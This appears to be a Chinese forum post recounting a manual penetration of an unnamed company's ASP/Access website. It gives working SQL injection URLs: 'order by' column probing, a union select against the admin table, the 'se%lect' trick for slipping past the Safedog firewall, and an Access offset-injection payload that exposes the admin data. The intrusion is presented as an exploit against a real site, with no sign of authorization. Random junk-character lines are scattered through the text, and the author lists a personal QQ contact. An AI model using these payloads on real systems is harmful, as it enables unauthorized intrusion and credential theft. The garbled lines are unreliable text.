一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
​
  l% y1 A2 ?) a2 C5 m6 u
顺手加个admin
, A, K2 W' ]6 p# E, x2 q/ r4 Q1 C​

/ B1 z1 z0 \6 D8 i默认后台。
! p1 w* m" _" d" q9 e回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​
! ^& S) j5 q6 p4 f

( i2 k6 c  p1 ^
所以就不用御剑扫了，待会直接封IP。
: l: f) a9 T5 w( N% |
/ ]1 V2 k1 z. e8 S用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
http://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。

接下来进行联合查询，猜是否存在admin表。
  V7 v, E" f" I( S& x( g; {http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​
* N6 D' k) M, h% T  C
7 b% K# m% _" w8 C1 b, T/ l* ^
4 P; m1 P* R( v% u8 I8 m. C
* F  D: g; X* L& X) N7 n8 P在select中间加个%,se%lect绕过安全狗。
% A2 A) y' J/ O$ a* ]​

* g: \  L' v! v. c$ |0 I5 ~发现存在admin表，然后开始手工猜常用的字段。
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
+ Q' j0 f; p$ B1 [8 `7 I( d
2 p# o6 J( a2 ^7 O突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
  W& Q, p: @- Q1 b1 x% d* v- Q
科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​

# y. i. G% s2 c8 a. [4 J7 }* P) P

6 i# i' F. `! y8 L7 A